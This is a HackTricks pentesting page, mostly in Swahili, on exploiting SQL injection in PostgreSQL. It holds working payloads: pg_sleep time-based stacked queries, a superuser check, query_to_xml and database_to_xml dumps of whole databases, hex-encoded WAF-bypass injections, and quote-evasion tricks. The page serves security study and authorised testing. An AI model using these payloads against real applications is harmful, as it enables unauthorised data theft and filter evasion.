PostgreSQL injection
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ukurasa huu unalenga kuelezea hila tofauti ambazo zinaweza kukusaidia kutumia SQL injection iliyopatikana katika hifadhidata ya postgresql na kukamilisha hila unazoweza kupata kwenye https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
Moduli ya PostgreSQL dblink
inatoa uwezo wa kuungana na mifano mingine ya PostgreSQL na kutekeleza muunganisho wa TCP. Vipengele hivi, vinapounganishwa na kazi ya COPY FROM
, vinawezesha vitendo kama vile kupandisha mamlaka, skanning ya bandari, na kukamata majibu ya changamoto ya NTLM. Kwa mbinu za kina za kutekeleza mashambulizi haya angalia jinsi ya kutekeleza mashambulizi haya.
Mfano wa Exfiltration ukitumia dblink na vitu vikubwa
Unaweza kusoma mfano huu kuona mfano wa CTF wa jinsi ya kupakia data ndani ya vitu vikubwa na kisha kutoa maudhui ya vitu vikubwa ndani ya jina la mtumiaji wa kazi dblink_connect
.
Mashambulizi ya PostgreSQL: Soma/andika, RCE, privesc
Angalia jinsi ya kuathiri mwenyeji na kupandisha mamlaka kutoka PostgreSQL katika:
{{#ref}} ../../../network-services-pentesting/pentesting-postgresql.md {{#endref}}
WAF bypass
PostgreSQL String functions
Kuhusisha nyuzi kunaweza kukusaidia kuzidi WAFs au vizuizi vingine.
Katika ukurasa huu unaweza kupata baadhi ya kazi za nyuzi zinazofaa.
Stacked Queries
Kumbuka kwamba postgresql inasaidia maswali yaliyojumuishwa, lakini programu kadhaa zitatoa kosa ikiwa majibu 2 yatatolewa wakati yanatarajiwa 1 tu. Lakini, bado unaweza kutumia maswali yaliyojumuishwa kupitia Time injection:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML tricks
query_to_xml
Hii kazi itarudisha data zote katika muundo wa XML katika faili moja tu. Ni bora ikiwa unataka kutupa data nyingi katika safu 1 tu:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Hii kazi itatoa hifadhidata nzima katika muundo wa XML kwa safu 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):
SELECT database_to_xml(true,true,'');
Mifumo katika Hex
Ikiwa unaweza kuendesha maswali kwa kuyapitia ndani ya mfuatano (kwa mfano kutumia query_to_xml
kazi). Unaweza kutumia convert_from kupitisha mfuatano kama hex na kupita vichujio kwa njia hii:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Nukuu zilizokatazwa
Ikiwa huwezi kutumia nukuu kwa payload yako unaweza kupita hii kwa kutumia CHR
kwa masharti ya msingi (kuunganisha wahusika kunafanya kazi tu kwa maswali ya msingi kama vile SELECT, INSERT, DELETE, nk. Hakiifanyi kazi kwa taarifa zote za SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Au kwa $
. Hizi maswali yanarudisha matokeo sawa:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.